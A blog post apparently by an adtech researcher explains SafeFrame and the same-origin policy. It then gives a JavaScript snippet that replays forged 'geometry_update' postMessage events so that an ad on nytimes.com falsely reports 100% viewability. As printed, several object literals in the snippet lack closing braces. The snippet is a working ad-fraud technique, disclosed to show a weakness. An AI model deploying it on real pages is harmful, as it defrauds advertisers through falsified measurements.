Spoofing viewability of SafeFrames

In my previous blog post I showed you how to spoof viewability measurements, and promised to write about SafeFrame next. So, what’s SafeFrame?

Traditionally, adtech people referred to ads as being served in two different environments: friendly iframe and unfriendly iframe. friendly iframes are called friendly because they allowed the advertiser to collect first party data from cookies of the publisher website, measure viewability (in the past it was possible only in friendly iframes) and perform user interactions like expansion of the ad upon mouse hover.

Unfriendly iframes won’t let the advertiser do any of this. So why using them? For the publisher side, unfriendly iframes are actually friendlier. They isolate the untrusted, 3d party content of the ad, and prevent it from breaking the webpage or steal sensitive data.

Technically speaking, friendly and unfriendly iframes are just nicknames for cross origin and same origin iframes. In the browser, the same origin policy is a basic pricipal of the web security model. It basically means that only same origin (scheme, host name, port) can read data from each other, i.e., only https://bank.com can read data form itself, otherwise, http://malware.com could read your bank data as well.

SafeFrame is an attempt to balance the pros and cons of cross and same origin iframes for both the publisher and the advertiser. By defining an API between these parties, it lets the publisher the benefits of cross origin content isolation, while providing the advertiser the benefits of viewability measurements, (limited) data collection and user interactions.

SafeFrame expose data about the “external party” (the publisher) though the $sf.ext object, which is defined on the global object (window) of the SafeFrame. Since we’re focusing on viewability, the relevant methods are:

  • $sf.ext.inViewPercentage: as the name suggests, returns the percentage of the ad in the viewable area
  • $sf.ext.geom: returns geometric data about the window, iframe and available expansion

However, all the information available to scripts running inside SafeFrames is depend on what the publisher, or the library he uses to serve ads inside SafeFrames (such as GPT), is reporting to them. A bad publisher can just spoof the viewability data available inside the iframe.

In order to figure out how, I analyzed Google’s implementation of SafeFrame on nytimes.com. What I found is that Google’s script is collecting the relevant data, serializing and sending it to the SafeFrame through postMessage. There’s a specific event called “geometry_update”:

The data received inside the SafeFrame by the ext.js file that implements that $sf.ext APIs:

And updates its internal state accordingly. The data above contains xInView and yInView properties, that are used to calculate the percent in view when $sf.ext.inViewPercentage is called. So what a bad publisher needs to do, is to replay the geo_update event with these values set to 1:

// get reference to the safeframe
var sf = document.querySelector('[data-is-safeframe]');
// find its uid
var uid = sf.getAttribute('data-google-container-id');

// create fake geo data
var fakeNewGeo = {
	"windowCoords_t": 24,
	"windowCoords_r": 1366,
	"windowCoords_b": 768,
	"windowCoords_l": 65,
	"frameCoords_t": 0,
	"frameCoords_r": 1293.5,
	"frameCoords_b": 270,
	"frameCoords_l": -7.5,
	"styleZIndex": "auto",
	"allowedExpansion_t": 0,
	"allowedExpansion_r": 0,
	"allowedExpansion_b": 0,
	"allowedExpansion_l": 0,
	"xInView": 1,
	"yInView": 1

// assign it with the uid
var fakeNewGeoWithUid = {
	uid: +uid, // + to convert string to number
	newGeometry: JSON.stringify(fakeNewGeo)

// create fake geo update
var fakeNewGeoEvent = {
	c: "sfchannel" + uid,
	i: Math.random(),
	p: JSON.stringify(fakeNewGeoWithUid),
	s: "geometry_update"

// send the fake update in 0 interval
setInterval(function () {
	sf.contentWindow.postMessage(JSON.stringify(fakeNewGeoEvent), 'https://tpc.googlesyndication.com');
}, 0);


Pretty easy. After executing the code above in the nytimes.com page context, you can see in the devtools console that calling $sf.ext.inViewPercentage always returns 100, although it’s clearly not the case (the ad is invisible, above the nytimes logo):

Of course, one could spoof all the other values similarly – SafeFrames are no magic.


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s